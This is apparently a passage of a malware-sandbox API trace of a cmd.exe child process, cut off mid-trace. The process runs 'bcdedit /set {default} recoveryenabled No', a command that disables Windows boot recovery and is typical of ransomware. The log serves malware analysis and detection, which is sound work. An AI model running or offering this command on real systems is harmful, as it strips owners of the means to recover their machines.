"cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3239e000" os_pid = "0x95c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x35c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} recoveryenabled No" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 34 os_tid = 0x96c [0034.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x41f9c4 | out: lpSystemTimeAsFileTime=0x41f9c4*(dwLowDateTime=0x39367820, dwHighDateTime=0x1d5ddc0)) [0034.923] GetCurrentProcessId () returned 0x95c [0034.924] GetCurrentThreadId () returned 0x96c [0034.924] GetTickCount () returned 0x1152ede [0034.924] QueryPerformanceCounter (in: lpPerformanceCount=0x41f9bc | out: lpPerformanceCount=0x41f9bc*=17668982105) returned 1 [0034.924] GetModuleHandleA (lpModuleName=0x0) returned 0x4a230000 [0034.924] __set_app_type (_Type=0x1) [0034.924] __p__fmode () returned 0x76be31f4 [0034.925] __p__commode () returned 0x76be31fc [0034.925] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2521a6) returned 0x0 [0034.925] __getmainargs (in: _Argc=0x4a254238, _Argv=0x4a254240, _Env=0x4a25423c, _DoWildCard=0, _StartInfo=0x4a254140 | out: _Argc=0x4a254238, _Argv=0x4a254240, _Env=0x4a25423c) returned 0 [0034.925] GetCurrentThreadId () returned 0x96c [0034.925] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x96c) returned 0x60 [0034.925] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0034.925] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0034.925] SetThreadUILanguage (LangId=0x0) returned 0x409 [0034.926] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0034.926] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x41f954 | out: phkResult=0x41f954*=0x0) returned 0x2 [0034.926] VirtualQuery (in: lpAddress=0x41f98b, lpBuffer=0x41f924, dwLength=0x1c | out: lpBuffer=0x41f924*(BaseAddress=0x41f000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0034.926] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x41f924, dwLength=0x1c | out: lpBuffer=0x41f924*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0034.926] VirtualQuery (in: lpAddress=0x321000, lpBuffer=0x41f924, dwLength=0x1c | out: lpBuffer=0x41f924*(BaseAddress=0x321000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0034.926] VirtualQuery (in: lpAddress=0x323000, lpBuffer=0x41f924, dwLength=0x1c | out: lpBuffer=0x41f924*(BaseAddress=0x323000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0034.926] VirtualQuery (in: lpAddress=0x420000, lpBuffer=0x41f924, dwLength=0x1c | out: lpBuffer=0x41f924*(BaseAddress=0x420000, AllocationBase=0x420000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0034.926] GetConsoleOutputCP () returned 0x1b5 [0034.926] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0034.926] SetConsoleCtrlHandler (HandlerRoutine=0x4a24e72a, Add=1) returned 1 [0034.926] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.926] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0034.927] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.927] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2541ac | out: lpMode=0x4a2541ac) returned 1 [0034.927] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.927] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0034.927] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.927] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2541b0 | out: lpMode=0x4a2541b0) returned 1 [0034.927] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.927] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0034.927] GetEnvironmentStringsW () returned 0x7d2070* [0034.928] GetProcessHeap () returned 0x7c0000 [0034.928] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xaca) returned 0x7d2b48 [0034.928] FreeEnvironmentStringsW (penv=0x7d2070) returned 1 [0034.928] GetProcessHeap () returned 0x7c0000 [0034.928] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x4) returned 0x7d0ca8 [0034.928] GetEnvironmentStringsW () returned 0x7d2070* [0034.928] GetProcessHeap () returned 0x7c0000 [0034.928] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xaca) returned 0x7d3620 [0034.928] FreeEnvironmentStringsW (penv=0x7d2070) returned 1 [0034.928] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41e8c4 | out: phkResult=0x41e8c4*=0x68) returned 0x0 [0034.928] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x0, lpData=0x41e8d0*=0x0, lpcbData=0x41e8c8*=0x1000) returned 0x2 [0034.928] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x4, lpData=0x41e8d0*=0x1, lpcbData=0x41e8c8*=0x4) returned 0x0 [0034.928] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x0, lpData=0x41e8d0*=0x1, lpcbData=0x41e8c8*=0x1000) returned 0x2 [0034.928] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x4, lpData=0x41e8d0*=0x0, lpcbData=0x41e8c8*=0x4) returned 0x0 [0034.928] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x4, lpData=0x41e8d0*=0x40, lpcbData=0x41e8c8*=0x4) returned 0x0 [0034.928] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x4, lpData=0x41e8d0*=0x40, lpcbData=0x41e8c8*=0x4) returned 0x0 [0034.928] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x0, lpData=0x41e8d0*=0x40, lpcbData=0x41e8c8*=0x1000) returned 0x2 [0034.929] RegCloseKey (hKey=0x68) returned 0x0 [0034.929] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41e8c4 | out: phkResult=0x41e8c4*=0x68) returned 0x0 [0034.929] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x0, lpData=0x41e8d0*=0x40, lpcbData=0x41e8c8*=0x1000) returned 0x2 [0034.929] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x4, lpData=0x41e8d0*=0x1, lpcbData=0x41e8c8*=0x4) returned 0x0 [0034.929] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x0, lpData=0x41e8d0*=0x1, lpcbData=0x41e8c8*=0x1000) returned 0x2 [0034.929] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x4, lpData=0x41e8d0*=0x0, lpcbData=0x41e8c8*=0x4) returned 0x0 [0034.929] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x4, lpData=0x41e8d0*=0x9, lpcbData=0x41e8c8*=0x4) returned 0x0 [0034.929] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x4, lpData=0x41e8d0*=0x9, lpcbData=0x41e8c8*=0x4) returned 0x0 [0034.929] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41e8cc, lpData=0x41e8d0, lpcbData=0x41e8c8*=0x1000 | out: lpType=0x41e8cc*=0x0, lpData=0x41e8d0*=0x9, lpcbData=0x41e8c8*=0x1000) returned 0x2 [0034.929] RegCloseKey (hKey=0x68) returned 0x0 [0034.929] time (in: timer=0x0 | out: timer=0x0) returned 0x5e3d6f9e [0034.929] srand (_Seed=0x5e3d6f9e) [0034.929] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} recoveryenabled No" [0034.929] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} recoveryenabled No" [0034.929] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a255260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.929] GetProcessHeap () returned 0x7c0000 [0034.929] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x210) returned 0x7d2070 [0034.929] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7d2078, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0034.930] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0034.930] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0034.930] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.930] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0034.930] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0034.930] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0034.930] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0034.930] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0034.930] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0034.930] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0034.930] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0034.930] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0034.930] GetProcessHeap () returned 0x7c0000 [0034.930] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d2b48 | out: hHeap=0x7c0000) returned 1 [0034.930] GetEnvironmentStringsW () returned 0x7d2288* [0034.930] GetProcessHeap () returned 0x7c0000 [0034.930] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xae2) returned 0x7d4be8 [0034.930] FreeEnvironmentStringsW (penv=0x7d2288) returned 1 [0034.930] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0034.930] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.930] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0034.930] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0034.930] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0034.930] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0034.930] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0034.930] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0034.930] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0034.930] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0034.930] GetProcessHeap () returned 0x7c0000 [0034.930] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x54) returned 0x7d56d8 [0034.930] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41f690 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.931] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x41f690, lpFilePart=0x41f68c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f68c*="Desktop") returned 0x25 [0034.931] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0034.931] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41f40c | out: lpFindFileData=0x41f40c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7d1ef0 [0034.931] FindClose (in: hFindFile=0x7d1ef0 | out: hFindFile=0x7d1ef0) returned 1 [0034.931] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41f40c | out: lpFindFileData=0x41f40c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7d1ef0 [0034.931] FindClose (in: hFindFile=0x7d1ef0 | out: hFindFile=0x7d1ef0) returned 1 [0034.931] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0034.931] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41f40c | out: lpFindFileData=0x41f40c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3870e600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3870e600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7d1ef0 [0034.931] FindClose (in: hFindFile=0x7d1ef0 | out: hFindFile=0x7d1ef0) returned 1 [0034.931] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0034.931] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0034.931] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0034.931] GetProcessHeap () returned 0x7c0000 [0034.931] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d4be8 | out: hHeap=0x7c0000) returned 1 [0034.931] GetEnvironmentStringsW () returned 0x7d40f8* [0034.931] GetProcessHeap () returned 0x7c0000 [0034.932] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xb36) returned 0x7d5f38 [0035.012] FreeEnvironmentStringsW (penv=0x7d40f8) returned 1 [0035.012] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a255260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0035.012] GetProcessHeap () returned 0x7c0000 [0035.012] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d56d8 | out: hHeap=0x7c0000) returned 1 [0035.012] GetProcessHeap () returned 0x7c0000 [0035.012] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x400e) returned 0x7d6a78 [0035.013] GetProcessHeap () returned 0x7c0000 [0035.013] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x60) returned 0x7d2dc8 [0035.013] GetProcessHeap () returned 0x7c0000 [0035.013] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d6a78 | out: hHeap=0x7c0000) returned 1 [0035.013] GetConsoleOutputCP () returned 0x1b5 [0035.013] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0035.013] GetUserDefaultLCID () returned 0x409 [0035.013] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a254950, cchData=8 | out: lpLCData=":") returned 2 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x41f7d0, cchData=128 | out: lpLCData="0") returned 2 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x41f7d0, cchData=128 | out: lpLCData="0") returned 2 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x41f7d0, cchData=128 | out: lpLCData="1") returned 2 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a254940, cchData=8 | out: lpLCData="/") returned 2 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a254d80, cchData=32 | out: lpLCData="Mon") returned 4 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a254d40, cchData=32 | out: lpLCData="Tue") returned 4 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a254d00, cchData=32 | out: lpLCData="Wed") returned 4 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a254cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a254c80, cchData=32 | out: lpLCData="Fri") returned 4 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a254c40, cchData=32 | out: lpLCData="Sat") returned 4 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a254c00, cchData=32 | out: lpLCData="Sun") returned 4 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a254930, cchData=8 | out: lpLCData=".") returned 2 [0035.014] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a254920, cchData=8 | out: lpLCData=",") returned 2 [0035.014] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0035.015] GetProcessHeap () returned 0x7c0000 [0035.015] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20c) returned 0x7d2e30 [0035.015] GetConsoleTitleW (in: lpConsoleTitle=0x7d2e30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0035.015] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0035.015] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0035.015] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0035.015] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0035.016] GetProcessHeap () returned 0x7c0000 [0035.016] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x400a) returned 0x7d6a78 [0035.016] GetProcessHeap () returned 0x7c0000 [0035.016] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7d6a78 | out: hHeap=0x7c0000) returned 1 [0035.016] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0035.016] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0035.016] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0035.016] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0035.016] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0035.016] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0035.016] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0035.016] GetProcessHeap () returned 0x7c0000 [0035.016] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x58) returned 0x7d3048 [0035.016] GetProcessHeap () returned 0x7c0000 [0035.017] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x18) returned 0x7d30a8 [0035.017] GetProcessHeap () returned 0x7c0000 [0035.017] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x4e) returned 0x7d30c8 [0035.018] GetConsoleTitleW (in: lpConsoleTitle=0x41f4c8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0035.018] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0035.018] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0035.018] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0035.018] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0035.018] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0035.018] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0035.018] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0035.018] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0035.018] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0035.018] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0035.018] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0035.018] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0035.018] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0035.019] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0035.019] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0035.019] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0035.019] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0035.019] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0035.019] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0035.019] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0035.019] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0035.019] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0035.019] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0035.019] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0035.019] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0035.019] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0035.019] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0035.019] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0035.019] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0035.019] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0035.019] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0035.019] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0035.019] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0035.019] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0035.019] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0035.019] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0035.019] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0035.019] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0035.019] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0035.019] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0035.019] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0035.019] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0035.019] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0035.019] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0035.019] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0035.019] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0035.019] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0035.019] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0035.019] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0035.019] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0035.019] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0035.020] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0035.020] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0035.020] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0035.020] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0035.020] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0035.020] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0035.020] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0035.020] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0035.020] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0035.020] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0035.020] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0035.020] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0035.020] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0035.020] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0035.020] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0035.020] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0035.020] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0035.020] 